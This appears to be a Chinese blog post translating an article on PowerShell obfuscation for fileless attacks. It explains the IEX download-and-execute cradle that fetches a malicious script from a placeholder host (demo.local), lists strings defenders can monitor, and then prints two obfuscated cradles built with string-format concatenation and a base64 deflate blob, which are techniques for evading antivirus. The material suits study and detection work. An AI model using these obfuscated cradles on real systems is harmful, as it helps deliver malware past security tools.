前言:
某一天发现一个powershell脚本,进行了尝试可发现可进行免杀,但是对其中的混淆方法始终不理解,于是通过谷歌发
现了具体方法,发现该文章写的还是很不错的,所以将文章中的内容进行了翻译,原文出处可参考:
https://www.cynet.com/attack-techniques-hands-on/powershell-obfuscation-demystified-series-chapter-2-
concatenation-and-base64-encoding/
概述:
powershell由于能在内存中执行,所以是一种常见的无文件攻击方法。事实上按照我们的经验,powershell是文件写入
的第一步。我们在下面的案例中将看到,攻击者是如何混淆powershell做常见的执行命令IEX(involve-expression)。
IEX命令是invoke-expression的别名,IEX命令可允许用户在本地计算机上执行一些命令或表达式。invoke-expression
命令的使用表达式如下:
Invoke-Expression[-command]string
在无文件攻击的案例中,IEX命令在攻击者的恶意脚本中占有重要位置,IEX可以执行在线命令用于远程下载恶意脚本,为
了更好的理解powershell执行远程命令,我们可以用如下例子
上述命令将会在powershell内存中执行下载程序并且通过iex命令进行执行该程序,这也就意味着cybad.ps1恶意脚本内
容将直接在powershell虚拟内存中执行而不是通过硬盘执行。传统的杀毒软件很难去检测到无文件攻击技术,他们只能
对存储在硬盘上的文件进行检测。所以作为防守方,我们可以去监测在powershell中运行IEX命令的进程,如‘New-
ObjectNet.Webclient’和‘DownloadString’的方法,这样可以监测到powershell中一些可疑的进程。这能帮助
我们发现powershell中远程加载并执行的无文件恶意攻击行为。以上述例子为例,找到其中存在的可以字符串如下:
IEX:本地计算机上执行命令
New-ObjectNet.WebClient:通过URL地址发送或接受数据
DownloadString:以字符串形式下载请求的资源,下载的资源可以为为指定的url或uri。
攻击者清楚地知道,IEX命令或命令中其他带有的字符串可以暴露他们的恶意行为,所以他们改变了方法开始使用大量的
混淆来修改命令。混淆技术可以帮助他们绕过防护软件、检测规则,增强免杀时效。
以下命令是关于“IEX(New-ObjectNet.WebClient).DownloadString(’http://www.demo.local/cybad.ps1’)”的
新的混淆版本:
1、&(“{1}{0}”-f‘EX’,’I’)(&(“{1}{0}{2}”-f‘Obje’,’New-‘,’ct’)(“{1}{4}{3}{0}{2}”-
f’Clie’,’N’,’nt’,’t.Web’,’e’)).(“{1}{3}{0}{2}”-f‘trin’,’Downl’,’g’,’oadS’).Invoke((“{1}{5}{2}{4}{3}{0}”-f
‘l/cybad.ps1′,’h’,’ww’,’loca’,’w.demo.’,’ttp://’))
2、(nEW-ObJeCtsYsTem.Io.COMPression.DeFlATestreAM([IO.MEMorySTREaM]
[sYsteM.ConveRT]::fROmbaSE64String(’83SN0FBQ8Est1/VPykpNLgEyS/TCU5OcczJT
80oUNPVc8svzcvITU4JLijLz0jXsM0pKCqz09cvLy/VSUnPz9XLykxNz9JMrkxJT9AqKDe01AQ==’),
[io.cOmpresSioN.cOMpREssionMODE]::DECoMPress)|fOrEACH-OBJECt{nEW-ObJeCtiO.StREamreAder($_,
[tExt.ENcoDIng]::Ascii)}|FoREach-ObjeCT{$_.REaDToenD()})|.($SHeLLid[1]+$ShELlid[13]+’x’)